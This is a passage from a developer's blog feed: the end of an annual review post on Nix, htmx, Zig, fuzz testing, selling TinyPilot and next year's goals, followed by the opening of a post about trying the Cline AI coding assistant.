&lt;p>The technology that had the biggest impact on my work in the last year was &lt;a href="https://nixos.org/">Nix and NixOS&lt;/a>.&lt;/p>
&lt;p>Nix is a package manager like &lt;code>apt-get&lt;/code> or &lt;code>yum&lt;/code>. It&amp;rsquo;s also a build tool like CMake or Bazel. By merging those two functionalities, Nix makes it easy to manage dependencies in your software projects and package them for distribution.&lt;/p>
&lt;p>I&amp;rsquo;ve been adopting Nix little by little, but I like it so much that I now use Nix in every programming project and run NixOS on all of my computers.&lt;/p>
&lt;ul>
&lt;li>Who should try it?
&lt;ul>
&lt;li>Developers who appreciate infrastructure as code tools like Docker, Ansible, and Terraform.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What&amp;rsquo;s my pitch?
&lt;ul>
&lt;li>On software projects, Nix allows you to define all of your dependencies in source code. Anyone can replicate your environment in one command.&lt;/li>
&lt;li>NixOS is a Linux distro designed around the Nix concept. NixOS allows you to define your computer&amp;rsquo;s entire configuration in plaintext files. NixOS allows you to easily rebuild your computer from scratch or roll back to previous configurations.&lt;/li>
&lt;li>Nix has many of the advantages of Docker, except that Nix packages compose better than Docker images.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What are the drawbacks?
&lt;ul>
&lt;li>Nix has a steep learning curve, and I haven&amp;rsquo;t found a good developer-oriented beginner guide. The closest is &lt;a href="https://leanpub.com/nixos-in-production">&lt;em>NixOS in Production&lt;/em>&lt;/a>, which is aimed at DevOps engineers.&lt;/li>
&lt;li>There&amp;rsquo;s a schism around a feature called &lt;a href="https://serokell.io/blog/practical-nix-flakes">&amp;ldquo;flakes.&amp;rdquo;&lt;/a> If you use flakes, it&amp;rsquo;s hard to understand tutorials and documentation that don&amp;rsquo;t, and vice-versa.&lt;/li>
&lt;li>The Nix community is in an unhealthy state due to poor leadership.&lt;/li>
&lt;li>In continuous integration (CI), Nix scales down poorly. I haven&amp;rsquo;t found a way to run any Nix-dependent CI job &lt;a href="https://github.com/Gabriella439/nixos-in-production/issues/24">in under 55 seconds&lt;/a> unless I switch to a Nix-specific CI vendor.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What&amp;rsquo;s a good way to explore it?
&lt;ul>
&lt;li>Try Nix in small increments. You can get tremendous value from learning narrow slices of Nix&amp;rsquo;s functionality.&lt;/li>
&lt;li>Install Nix using &lt;a href="https://zero-to-nix.com/start/install/">the Determinate Systems installer&lt;/a>, and try running a program with &lt;code>nix shell&lt;/code> (e.g., &lt;code>nix shell -p cowsay&lt;/code> then &lt;code>cowsay howdy, human&lt;/code>). Search &lt;a href="https://search.nixos.org/packages">the package repo&lt;/a> to see all the packages you can install in one line.&lt;/li>
&lt;li>If you liked ephemeral shells, create a &lt;a href="https://mtlynch.io/notes/nix-dev-environment/">dev shell&lt;/a> for one of your projects so that you can manage all of your dependencies and dev tools from a single file.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="htmx">htmx&lt;/h3>
&lt;p>My friends have been praising &lt;a href="https://htmx.org">htmx&lt;/a> for several years, but the concept never clicked for me.&lt;/p>
&lt;p>&amp;ldquo;You can make the HTML &lt;code>&amp;lt;button&amp;gt;&lt;/code> element send a POST request? Who cares?&amp;rdquo;&lt;/p>
&lt;p>Then, during a long plane ride, I read the free ebook &lt;a href="https://hypermedia.systems/">&lt;em>Hypermedia Systems&lt;/em>&lt;/a> about the philosophy of htmx. The book made me realize that htmx&amp;rsquo;s value isn&amp;rsquo;t about letting a &lt;code>&amp;lt;button&amp;gt;&lt;/code> send a POST request — it&amp;rsquo;s about bringing simple interactivity to HTML without burdening the developer with custom JavaScript or deep layers of abstraction.&lt;/p>
&lt;p>I always knew that web development involved a lot of tedious JavaScript, but I&amp;rsquo;d long ago accepted that as normal. HTML and CSS handle presentation, and JavaScript handles interactivity. There has to be glue code to connect the two, and glue code is inherently boring.&lt;/p>
&lt;p>htmx&amp;rsquo;s thesis is that you can eliminate glue code and boilerplate JavaScript by bringing more interactivity to the HTML/CSS part of a web app. And you can do it without introducing complexity and dependencies like npm, Webpack, and gigantic frontend frameworks.&lt;/p>
&lt;ul>
&lt;li>Who should try it?
&lt;ul>
&lt;li>Developers who prefer vanilla JavaScript or jQuery over heavy frameworks like React and Vue.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What&amp;rsquo;s my pitch?
&lt;ul>
&lt;li>htmx makes you realize how much unnecessary JavaScript you&amp;rsquo;ve been writing all your life.&lt;/li>
&lt;li>htmx is a library rather than a framework, so adopting htmx isn&amp;rsquo;t an all-or-nothing commitment like React or Vue. You can try htmx on a single form in your web app to see if you like it.&lt;/li>
&lt;li>There&amp;rsquo;s no build step, so you don&amp;rsquo;t have to run your code through Webpack / Node.js just to generate plaintext HTML, CSS, and JavaScript. The code you write is the same code you see running in the browser.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What are the drawbacks?
&lt;ul>
&lt;li>I found it challenging to shift my thinking to the htmx way of writing web apps, but it often resulted in simpler code.&lt;/li>
&lt;li>I find htmx&amp;rsquo;s &lt;a href="https://mtlynch.io/retrospectives/2024/07/#htmxs-error-handling-is-underwhelming">error handling awkward&lt;/a>, but I have a &lt;a href="https://mtlynch.io/retrospectives/2024/08/#finding-my-preferred-pattern-for-htmx-forms">decent workaround&lt;/a>.&lt;/li>
&lt;li>htmx &lt;a href="https://mtlynch.io/retrospectives/2024/07/#htmx-weakens-content-security-policy-csp">weakens Content Security Policy (CSP)&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What&amp;rsquo;s a good way to explore it?
&lt;ul>
&lt;li>Read my &lt;a href="https://mtlynch.io/retrospectives/2024/07/#learning-htmx">more detailed pitch for htmx&lt;/a>.&lt;/li>
&lt;li>Read about my experience &lt;a href="https://mtlynch.io/retrospectives/2024/08/#finding-my-preferred-pattern-for-htmx-forms">porting ScreenJournal to htmx&lt;/a>.&lt;/li>
&lt;li>Read the first few chapters of &lt;a href="https://hypermedia.systems/">&lt;em>Hypermedia Systems&lt;/em>&lt;/a> (free, available online) to see if it resonates with you.&lt;/li>
&lt;li>Try htmx on a single form in your web application.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="zig">Zig&lt;/h3>
&lt;p>The idea of Zig is that there are still programs we need to write in low-level languages like C, but we&amp;rsquo;re making it harder on ourselves by continuing to write them in 50-year-old programming languages.&lt;/p>
&lt;p>Zig gives you the same power and performance of C, but it takes advantage of hardware and compiler advancements that weren&amp;rsquo;t available when C was created.&lt;/p>
&lt;p>I immediately loved the idea of Zig, but I struggled to find a project for it. I haven&amp;rsquo;t used C or C++ for a personal project in 15 years. I typically build small-scale web apps, and Zig isn&amp;rsquo;t the best tool for those.&lt;/p>
&lt;p>I still find Zig extremely fun. If I were stranded on a desert island for a year with a laptop but no Internet, my fantasy activity would be porting an open-source rebuild of one of my childhood computer games (e.g., &lt;a href="http://openage.dev/">Age of Empires II&lt;/a>, &lt;a href="https://www.openra.net/">Command and Conquer&lt;/a>) from unrefined C++ code to elegant Zig.&lt;/p>
&lt;ul>
&lt;li>Who should try it?
&lt;ul>
&lt;li>C/C++ programmers who are curious about a modern reimagining of those languages.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What&amp;rsquo;s my pitch?
&lt;ul>
&lt;li>Zig is the most fun I&amp;rsquo;ve had programming in a long time, and I generally find programming pretty fun. There&amp;rsquo;s something extra fun about coding with extremely low abstraction and a rush I get from exercising full control over how many times my application touches a piece of memory.&lt;/li>
&lt;li>Zig optimizes for explicit control flow and memory allocation, so I find Zig code easy to reason about.&lt;/li>
&lt;li>The Zig community is welcoming and positive. Whenever I ask questions, I get patient, helpful answers. When I share my &lt;a href="https://mtlynch.io/tags/zig/">Zig tutorials&lt;/a>, the community welcomes them enthusiastically.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What are the drawbacks?
&lt;ul>
&lt;li>There&amp;rsquo;s no stable 1.0 release yet. You&amp;rsquo;ll likely have to rewrite some of your code every time you update to the latest Zig compiler.&lt;/li>
&lt;li>Because of compiler churn, you usually have to tweak examples you read in blog posts or sometimes &lt;a href="https://github.com/ziglang/zig/issues/18497#issuecomment-2252162626">official language docs&lt;/a>.&lt;/li>
&lt;li>I haven&amp;rsquo;t found good resources for learning the language. There are no Zig books yet. I mainly learn by cobbling together information from disparate blog posts, forum discussions, and the &lt;a href="https://ziglang.org/documentation/master/">Zig language spec&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What&amp;rsquo;s a good way to explore it?
&lt;ul>
&lt;li>Take a simple program you&amp;rsquo;d normally write in C or C++, and write it in Zig instead.&lt;/li>
&lt;li>Try &lt;a href="https://ziglings.org">Ziglings&lt;/a>, the beginnner exercises for learning Zig.
&lt;ul>
&lt;li>Ziglings exercises depend on pre-release versions of the Zig compiler. If you have Nix, an easy way to get the latest pre-release Zig compiler is by running: &lt;code>nix shell 'github:mitchellh/zig-overlay#master'&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="fuzz-testing-with-nix">Fuzz testing with Nix&lt;/h3>
&lt;p>You probably thought I was done talking about Nix. I&amp;rsquo;m not!&lt;/p>
&lt;p>I&amp;rsquo;d been curious to try fuzz testing to find security vulnerabilities, as I hadn&amp;rsquo;t used fuzzing tools since I &lt;a href="https://www.nccgroup.com/us/research-blog/fuzzing-rtsp-to-discover-an-exploitable-vulnerability-in-vlc/">found a serious vulnerability in VLC&lt;/a> ten years ago.&lt;/p>
&lt;p>I enjoyed &lt;a href="https://github.com/antonio-morales/Fuzzing101">Antonio Morales&amp;rsquo; 2021 fuzz testing tutorial&lt;/a>, but all the exercises involved boring gruntwork just to set up a working fuzzing environment.&lt;/p>
&lt;p>I tried &lt;a href="https://mtlynch.io/nix-fuzz-testing-1/">implementing a fuzzing workflow in Nix&lt;/a>, and it was so much better. I wish I had time to create more fuzzing tutorials with Nix because I feel like the world is sleeping on Nix as a fuzzing tool.&lt;/p>
&lt;ul>
&lt;li>Who should try it?
&lt;ul>
&lt;li>Anyone who performs fuzz testing, especially on C/C++ code.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What&amp;rsquo;s my pitch?
&lt;ul>
&lt;li>Nix makes fuzzing workflows reproducible.
&lt;ul>
&lt;li>Once you get your fuzzer running under Nix, anyone can run your fuzzing configuration by &lt;a href="https://mtlynch.io/nix-fuzz-testing-1/#a-preview-of-the-solution">typing &lt;code>nix run&lt;/code>&lt;/a>. They don&amp;rsquo;t have to figure out dependencies because Nix automatically reproduces the exact environment you used.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Nix simplifies installing dependencies.
&lt;ul>
&lt;li>Nix has one of the largest package repositories of any package manager. If your fuzzing target has dependencies, they&amp;rsquo;re probably already available in the Nix package repository, so you don&amp;rsquo;t have to figure out a special process for building each dependency.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Nix simplifies custom patches.
&lt;ul>
&lt;li>If you need to &lt;a href="https://mtlynch.io/nix-fuzz-testing-2/#fixing-the-bug">apply custom patches&lt;/a> to fuzz your target, Nix makes it easy to apply those and keep the patch files in the same source tree as the rest of your fuzzing workflow.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Nix caches builds.
&lt;ul>
&lt;li>If you experiment with different compilation options, you don&amp;rsquo;t have to compile from scratch each time. Nix will remember if you&amp;rsquo;ve compiled with the same options before and re-use that build. You never have to &lt;code>make clean&lt;/code> or delete binaries manually.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What are the drawbacks?
&lt;ul>
&lt;li>You have to figure out how to build the code you&amp;rsquo;re testing through Nix as an extra layer of abstraction.&lt;/li>
&lt;li>Nix &lt;a href="https://mtlynch.io/nix-fuzz-testing-1/#that-was-confusingly-easy">performs magic&lt;/a> to help you build CMake-based projects, but Nix&amp;rsquo;s build options are all implicit, which makes its behavior difficult to understand.&lt;/li>
&lt;li>I had a difficult time &lt;a href="https://mtlynch.io/nix-fuzz-testing-2/#improving-debug-symbols">getting Nix to produce debug symbols&lt;/a>, and I&amp;rsquo;m still not sure what I was doing wrong.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What&amp;rsquo;s a good way to explore it?
&lt;ul>
&lt;li>Try &lt;a href="https://mtlynch.io/nix-fuzz-testing-1/">my beginner-friendly tutorial&lt;/a> about how I used Nix and honggfuzz to create a fuzzing workflow for an open-source PDF reader.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="how-was-my-year-overall">How was my year overall?&lt;/h2>
&lt;p>Every year, I ask myself whether I still enjoy being an indie founder.&lt;/p>
&lt;p>For the past few years, I had a hard time answering this question. When I was running TinyPilot, I was proud of the company and enjoyed working with the TinyPilot team, but I felt like the pace and complexity of a hardware company was too much for me.&lt;/p>
&lt;p>This year, I enjoyed being an indie founder again. I loved the freedom to spend so much time with my wife and our son. I was grateful that my return to work was entirely up to me, and I had complete control over how and when to integrate work into my post-baby life.&lt;/p>
&lt;p>Selling TinyPilot was stressful and unpleasant, but when I look back, the parts I remember were celebrating with my wife and friends on &lt;a href="https://mtlynch.io/i-sold-tinypilot/#part-4-after-the-sale">an impromptu dessert tour of Western Massachusetts&lt;/a>.&lt;/p>
&lt;p>In May, a Google recruiter offered me my old job back with no interview, and I was not at all tempted.&lt;/p>
&lt;p>I continue enjoying life as an indie founder, and I still want to keep doing it for as long as possible.&lt;/p>
&lt;h2 id="lessons-learned">Lessons learned&lt;/h2>
&lt;h3 id="its-okay-not-to-work">It&amp;rsquo;s okay not to work&lt;/h3>
&lt;p>Before my son was born, I struggled with the question of how much time to take off. Obviously, taking a month off would be fine. But if one month is okay, why not two? Why not four? Why not a year?&lt;/p>
&lt;p>In the months after my son&amp;rsquo;s birth, I suddenly had no free time. I wrestled with an even scarier question: what if, now that I have a baby, I can&amp;rsquo;t return to work even if I want to? What if I could never reclaim enough uninterrupted time for writing and programming?&lt;/p>
&lt;p>I took a breath and realized the reason I had &amp;ldquo;no free time&amp;rdquo; was that several days each week, I&amp;rsquo;d take long walks downtown to enjoy an outdoor brunch with my wife and son. Or we&amp;rsquo;d host visitors from out of town to meet the baby. I had to remind myself that these were all &lt;em>good things&lt;/em> that I &lt;em>liked doing&lt;/em>, and I was still in control of my time should I decide to resume working.&lt;/p>
&lt;p>Ultimately, my return to work happened organically and didn&amp;rsquo;t feel at odds with family time. My wife and I found a childcare balance that felt right to us, and we continue to adjust as my son gets older and our other family members have joined in to help with childcare.&lt;/p>
&lt;h3 id="a-process-isnt-documented-until-someone-else-uses-the-documentation">A process isn&amp;rsquo;t documented until someone else uses the documentation&lt;/h3>
&lt;p>In the months leading up to TinyPilot&amp;rsquo;s sale, I focused on delegating as much as possible to the rest of the team. I didn&amp;rsquo;t want the new owner to take over and feel like they couldn&amp;rsquo;t complete some critical task because I was the only one who knew how to do it.&lt;/p>
&lt;p>I expected delegation to be easy because we had playbooks for everything, even tasks I did myself. As I began handing off my tasks to teammates, I realized how much of the &amp;ldquo;documented&amp;rdquo; processes I owned actually just &lt;a href="https://mtlynch.io/retrospectives/2024/02/#i-accidentally-hoarded-tinypilots-release-process">lived in my head&lt;/a>. Steps like &amp;ldquo;Write the release announcement&amp;rdquo; or &amp;ldquo;Update the public changelog&amp;rdquo; were more complicated than the short phrases implied.&lt;/p>
&lt;p>I now consider a process to be documented only when a teammate can follow the process exclusively using the documentation.&lt;/p>
&lt;h3 id="selling-to-a-cash-buyer-drastically-reduces-risk-and-paperwork">Selling to a cash buyer drastically reduces risk and paperwork&lt;/h3>
&lt;p>One of the biggest lessons from selling TinyPilot was how big a difference closing time makes. I didn&amp;rsquo;t realize how much &lt;a href="https://mtlynch.io/i-sold-tinypilot/#due-diligence-makes-me-weaker-by-the-day">additional risk and paperwork the seller bears&lt;/a> for every month the sale drags on.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1600px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/due-diligence.webp">
 &lt;img
 
 sizes="(min-width: 768px) 1600px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-7/due-diligence_hu_26b02b23d6d62f58.webp 300w, https://mtlynch.io/bootstrapped-founder-year-7/due-diligence_hu_2d7c99445de7145c.webp 600w, https://mtlynch.io/bootstrapped-founder-year-7/due-diligence_hu_2af484102c4ea8f4.webp 800w, https://mtlynch.io/bootstrapped-founder-year-7/due-diligence_hu_c84d9dd6ce8c95fe.webp 1200w, https://mtlynch.io/bootstrapped-founder-year-7/due-diligence.webp 1600w'
 src="https://mtlynch.io/bootstrapped-founder-year-7/due-diligence.webp" alt="Cartoon of a man growing increasingly weak as he receives due diligence requests over several weeks" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The buyer&amp;rsquo;s financing has a major impact on closing time. If the buyer borrows money from a bank, the bank becomes a key decision-maker in the deal. Banks move slowly, demand a lot of paperwork, and are hard to negotiate with because they don&amp;rsquo;t care if the deal falls through.&lt;/p>
&lt;p>If I sell another company, I&amp;rsquo;ll &lt;a href="https://mtlynch.io/lessons-from-my-first-exit/#offer-incentives-for-a-cash-buyer">offer incentives to attract a buyer with cash on hand&lt;/a>.&lt;/p>
&lt;h2 id="grading-last-years-goals">Grading last year&amp;rsquo;s goals&lt;/h2>
&lt;p>Last year, I set &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/#goals-for-year-seven">three high-level goals&lt;/a> that I wanted to achieve during the year. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="manage-tinypilot-on-20-hours-per-week">Manage TinyPilot on 20 hours per week&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Reduced management to 20 hours per week&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I sold the company in April, so I only managed TinyPilot for a small amount of the year, but I finally did achieve my goal of managing on just 20 hours per week. That had been a repeated goal for the previous three years.&lt;/p>
&lt;p>The thing that finally made it work was that I had no choice. Due dilligence and managing the sale of the company took up 15-20 hours per week by itself, so I just didn&amp;rsquo;t have the spare hours to do what I had been doing before. Fortunately, the team stepped up to take over tasks that I hadn&amp;rsquo;t previously thought to delegate.&lt;/p>
&lt;h3 id="publish-a-course-or-book">Publish a course or book&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Taught a live course but didn&amp;rsquo;t publish a course or book.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>I likely could have released a course had I skipped the live version, but I&amp;rsquo;m still glad I did the test run, as it gave me useful feedback about the focus of the course.&lt;/p>
&lt;h3 id="write-software-for-ten-working-hours-per-week">Write software for ten working hours per week&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I write software for 10-20 hours per week.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m writing code more frequently and am enjoying it immensely.&lt;/p>
&lt;h2 id="goals-for-next-year">Goals for next year&lt;/h2>
&lt;h3 id="earn-50k-in-profit">Earn $50k in profit&lt;/h3>
&lt;p>Across all of my products, I want to earn $50k in profit. It doesn&amp;rsquo;t have to be recurring revenue. One-time sales count, but I want to find a way to earn at least $50k from selling my own products.&lt;/p>
&lt;h3 id="publish-a-course-or-book-1">Publish a course or book&lt;/h3>
&lt;p>I&amp;rsquo;ve had an annual goal of publishing a book &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/#publish-six-blog-posts-and-one-book">since 2021&lt;/a>. I&amp;rsquo;ve never done it, but this feels like my year.&lt;/p>
&lt;h3 id="learn-a-new-programming-language">Learn a new programming language&lt;/h3>
&lt;p>Every time I learn a new programming language, it gives me insights I can apply to programming in general.&lt;/p>
&lt;p>A lot of my favorite bloggers are excited about &lt;a href="https://elixir-lang.org/">Elixir&lt;/a> and &lt;a href="https://hexdocs.pm/phoenix/">Phoenix&lt;/a>, so I&amp;rsquo;m curious to try that tech stack.&lt;/p>
&lt;h2>All annual reviews&lt;/h2>
&lt;ul>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">My First Year as a Solo Developer&lt;/a>- Feb. 1, 2019
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">My Second Year as a Solo Developer&lt;/a>- Jan. 31, 2020
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/">My Third Year as a Solo Developer&lt;/a>- Feb. 1, 2021
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/">My Fourth Year as a Bootstrapped Founder&lt;/a>- Feb. 1, 2022
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/">My Fifth Year as a Bootstrapped Founder&lt;/a>- Feb. 10, 2023
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/">My Sixth Year as a Bootstrapped Founder&lt;/a>- Feb. 16, 2024
 &lt;/li>&lt;li>My Seventh Year as a Bootstrapped Founder- Feb. 3, 2025
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-8/">My Eighth Year as a Bootstrapped Founder&lt;/a>- Feb. 3, 2026
 &lt;/li>&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Illustrations by &lt;a href="https://cartoony.eu">Piotr Letachowicz&lt;/a> (except for the terrible stick figure one).&lt;/em>&lt;/p></content:encoded></item><item><title>The Cline AI Assistant is Mesmerizing</title><link>https://mtlynch.io/notes/cline-is-mesmerizing/</link><pubDate>Sat, 01 Feb 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/cline-is-mesmerizing/</guid><description>&lt;p>I tried out the &lt;a href="https://cline.bot/">Cline AI assistant&lt;/a> yesterday, and then I went into a trance for five hours where I couldn&amp;rsquo;t do anything but stare transfixed at Cline fixing bugs for me.&lt;/p>
&lt;div style="position:relative;padding-top:56.25%;">&lt;iframe src="https://iframe.mediadelivery.net/embed/304035/04e4d47f-ead7-49d5-9ad1-899a5b92caaa?autoplay=false&amp;loop=false&amp;muted=false&amp;preload=true&amp;responsive=true" loading="lazy" style="border:0;position:absolute;top:0;height:100%;width:100%;" allow="accelerometer;gyroscope;autoplay;encrypted-media;picture-in-picture;" allowfullscreen="true">&lt;/iframe>&lt;/div>
&lt;p>As a professional developer, it was both enchanting and terrifying. It&amp;rsquo;s enchanting that AI has reached this level of proficiency. It&amp;rsquo;s terrifying for the same reason, as I&amp;rsquo;m not sure what role I&amp;rsquo;ll serve in a world where AI can write code better and faster than I can.&lt;/p></description><content:encoded>&lt;p>I tried out the &lt;a href="https://cline.bot/">Cline AI assistant&lt;/a> yesterday, and then I went into a trance for five hours where I couldn&amp;rsquo;t do anything but stare transfixed at Cline fixing bugs for me.&lt;/p>
&lt;div style="position:relative;padding-top:56.25%;">&lt;iframe src="https://iframe.mediadelivery.net/embed/304035/04e4d47f-ead7-49d5-9ad1-899a5b92caaa?autoplay=false&amp;loop=false&amp;muted=false&amp;preload=true&amp;responsive=true" loading="lazy" style="border:0;position:absolute;top:0;height:100%;width:100%;" allow="accelerometer;gyroscope;autoplay;encrypted-media;picture-in-picture;" allowfullscreen="true">&lt;/iframe>&lt;/div>
&lt;p>As a professional developer, it was both enchanting and terrifying. It&amp;rsquo;s enchanting that AI has reached this level of proficiency. It&amp;rsquo;s terrifying for the same reason, as I&amp;rsquo;m not sure what role I&amp;rsquo;ll serve in a world where AI can write code better and faster than I can.&lt;/p>
&lt;p>I&amp;rsquo;m late to the game on this, as I realize most other developers have integrated AI tools more deeply into their workflows, but I wanted to share what I saw for others who haven&amp;rsquo;t experienced it yet.&lt;/p>
&lt;h2 id="ive-used-ai-tools-before">I&amp;rsquo;ve used AI tools before&lt;/h2>
&lt;p>Cline isn&amp;rsquo;t the first time I&amp;rsquo;ve used AI.&lt;/p>
&lt;p>I&amp;rsquo;ve been experimenting with LLM assistants for the past two years. I started using them much more heavily in the last six months, as models have reached the level where they reliably produce correct code.&lt;/p>
&lt;p>I use &lt;a href="https://kagi.com/">Kagi&lt;/a> as my search engine, and their Ultimate package includes unlimited access to all the major LLMs. I mainly interact with LLMs through the Kagi Assistant feature, which is just a web UI for chatting with LLMs.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/cline-is-mesmerizing/kagi-assistant.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/cline-is-mesmerizing/kagi-assistant_hu_80b29cabb2146a1a.webp 300w, https://mtlynch.io/notes/cline-is-mesmerizing/kagi-assistant_hu_a3deb07eaaa86c4f.webp 600w, https://mtlynch.io/notes/cline-is-mesmerizing/kagi-assistant_hu_ba5318be6bb06857.webp 800w, https://mtlynch.io/notes/cline-is-mesmerizing/kagi-assistant.webp 906w'
 src="https://mtlynch.io/notes/cline-is-mesmerizing/kagi-assistant.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My search engine, &lt;a href="https://kagi.com/">Kagi&lt;/a>, comes with a nice web chat interface for all the major LLMs.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>&lt;em>Full disclosure: I participated in Kagi&amp;rsquo;s crowdfund, so I have some financial investment in them that I don&amp;rsquo;t understand.&lt;/em>&lt;/p>
&lt;h2 id="using-ai-tools-makes-me-feel-like-the-bot">Using AI tools makes me feel like the bot&lt;/h2>
&lt;p>The problem I found recently was that AI tools make me feel like I&amp;rsquo;m the machine. I just sit there mindlessly copying the code between my editor and the chat interface, then saying, &amp;ldquo;It didn&amp;rsquo;t work,&amp;rdquo; pasting the error message, and doing the whole thing over four or five times.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/notes/cline-is-mesmerizing/issue-remains.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/notes/cline-is-mesmerizing/issue-remains_hu_68cf79ff26a2074f.webp 300w, https://mtlynch.io/notes/cline-is-mesmerizing/issue-remains_hu_c325319da6e4e106.webp 600w, https://mtlynch.io/notes/cline-is-mesmerizing/issue-remains_hu_62afcab78a8dfcda.webp 800w, https://mtlynch.io/notes/cline-is-mesmerizing/issue-remains.webp 846w'
 src="https://mtlynch.io/notes/cline-is-mesmerizing/issue-remains.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/notes/cline-is-mesmerizing/llm-confirmations.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/notes/cline-is-mesmerizing/llm-confirmations_hu_a00b08ecc8239b1c.webp 300w, https://mtlynch.io/notes/cline-is-mesmerizing/llm-confirmations_hu_6b53d7e5b25e6618.webp 600w, https://mtlynch.io/notes/cline-is-mesmerizing/llm-confirmations_hu_f4da4459f19d2356.webp 800w, https://mtlynch.io/notes/cline-is-mesmerizing/llm-confirmations.webp 856w'
 src="https://mtlynch.io/notes/cline-is-mesmerizing/llm-confirmations.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>A chatbot LLM keeps giving me the wrong fix to a bug and then requires a lot of prodding to show the full solution.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h2 id="there-has-to-be-a-tool-for-this">There has to be a tool for this&lt;/h2>
&lt;p>I realized there had to be a better way of integrating AI than what I was doing.&lt;/p>
&lt;p>I needed a tool to take over my role as &amp;ldquo;copy code and error messages back and forth&amp;rdquo; guy.&lt;/p>
&lt;p>I tried &lt;a href="https://sourcegraph.com/cody">Sourcegraph Cody&lt;/a> twice about a year apart, and I found it disappointing both times. Having it edit my code in place was better than pasting back and forth between the browser and my editor, but Cody was slow and buggy enough that I eventually just went back to pasting code back and forth to my web browser.&lt;/p>
&lt;p>I saw a few blog posts recently about &lt;a href="https://cline.bot">Cline&lt;/a>, and it sounded appealing for a few reasons:&lt;/p>
&lt;ul>
&lt;li>The code is &lt;a href="https://github.com/cline/cline">open-source&lt;/a>.&lt;/li>
&lt;li>It integrates with VS Code, my main editor.&lt;/li>
&lt;li>It can handle editing local files, running commands, and iterating on command output.&lt;/li>
&lt;li>It allows me to use locally-hosted LLMs if I choose.&lt;/li>
&lt;li>It doesn&amp;rsquo;t insist on being the middleman for purchasing access to AI APIs, as many other AI assistants do.&lt;/li>
&lt;/ul>
&lt;p>The downside is that Cline doesn&amp;rsquo;t seem to have a revenue source except for burning investor dollars. So, it may not be sustainable, but it&amp;rsquo;s fine for right now.&lt;/p>
&lt;h2 id="lexical-illusions-the-perfect-test-program-for-an-ai-assistant">Lexical illusions: the perfect test program for an AI assistant&lt;/h2>
&lt;p>I&amp;rsquo;ve recently wished for a tool that scans my blog for &amp;ldquo;lexical illusions.&amp;rdquo; That&amp;rsquo;s &lt;a href="https://matt.might.net/articles/shell-scripts-for-passive-voice-weasel-words-duplicates/">what Matt Might calls it&lt;/a> when you fail to recognize a duplicate word in text, for example:&lt;/p>
&lt;blockquote>
&lt;p>Many readers are not aware that the&lt;br>
the brain will automatically ignore&lt;br>
a second instance of the word &amp;ldquo;the&amp;rdquo;&lt;br>
when it starts a new line.&lt;/p>&lt;/blockquote>
